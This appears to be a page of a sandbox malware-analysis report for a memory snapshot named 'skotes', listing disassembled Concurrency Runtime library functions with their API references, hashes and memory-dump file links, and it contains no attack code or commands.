Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: 1b98327ae0530965adfb611a3e041ebe436d337237b7bd3b97fd8fdfe9a1405c
Instruction ID: e5d8acbd81e45f857e8ec1c5d24ce9a322c2893c2a31d6a050c123ce9c87027f
Opcode Fuzzy Hash: 1b98327ae0530965adfb611a3e041ebe436d337237b7bd3b97fd8fdfe9a1405c
Instruction Fuzzy Hash: 71318A71A002158BCF19DFE8D9416EDB7F4AF19314B65407EE805EB390DB309E82CBA0

Function 0012D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0012D344
ListArray.LIBCONCRT ref: 0012D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0012D370
ListArray.LIBCONCRT ref: 0012D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0012D3B3

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 76bca54c86150a5bfc3cdad9cdeb499840825b544f6ccb36b4f910b62aa6c1b8
Instruction ID: 8811d104888ab10fa39b00dffb3d9b02e219c3bb728e484d596af122997bd9b4
Opcode Fuzzy Hash: 76bca54c86150a5bfc3cdad9cdeb499840825b544f6ccb36b4f910b62aa6c1b8
Instruction Fuzzy Hash: 6531AF75700220EFCB09DF64E885BADB7A6BF88310F150199E8069F392DB70ED51CB92

Function 001286C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 001286EE

Part of subcall function 0011EAD0: _SpinWait.LIBCONCRT ref: 0011EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00128702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00128734
List.LIBCMT ref: 001287B7
List.LIBCMT ref: 001287C6

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 65c06cc646f933bd6e18c12b31c9974501e7f00b579af208a6ded5296800a3c9
Instruction ID: 50c345dff8569fb39fc6a4c2bfe97cc9a4d58b1eae7c085b460af7e29a5f4cb9
Opcode Fuzzy Hash: 65c06cc646f933bd6e18c12b31c9974501e7f00b579af208a6ded5296800a3c9
Instruction Fuzzy Hash: B2318B36D02666DFCB18EFA8E5816DDB7B1BF24318F24406ED80177692CB31AD24CB90

Function 0013182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001318A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 001318EB

Strings

pContext, xrefs: 0013189C

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: e00c7c9e7d1300964e9800f572b83772d3935e433dd0588600676e377ace11ad
Instruction ID: 14732fbc36c82034a8495587cf325924856e3a5cd2481cbe016e8cf87a6aa31a
Opcode Fuzzy Hash: e00c7c9e7d1300964e9800f572b83772d3935e433dd0588600676e377ace11ad
Instruction Fuzzy Hash: 9A213D35B00615FBCB19AB68D895ABDB3A5BF94334F04016AE511876D1CFB4EC42CBD4

Function 0012AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0012AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0012AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0012AF4E

Strings

pExecutionResource, xrefs: 0012AF07

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 22a3163084affcd9fed61190b97bb72829a9941b6ea6bc68793fa38de5cfefb6
Instruction ID: 23787638d3d8b4f71ef13315680bd9dc2ccef131b50c1434aa287196e318da2b
Opcode Fuzzy Hash: 22a3163084affcd9fed61190b97bb72829a9941b6ea6bc68793fa38de5cfefb6
Instruction Fuzzy Hash: 2021F875A40315AFCB08EFA4D982BEDB7A1BF58310F10406DF501AB382DBB0AE55CB91

Function 00124EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00124F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00124F66

Strings

count, xrefs: 00124EBA
ppVirtualProcessorRoots, xrefs: 00124F1C

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
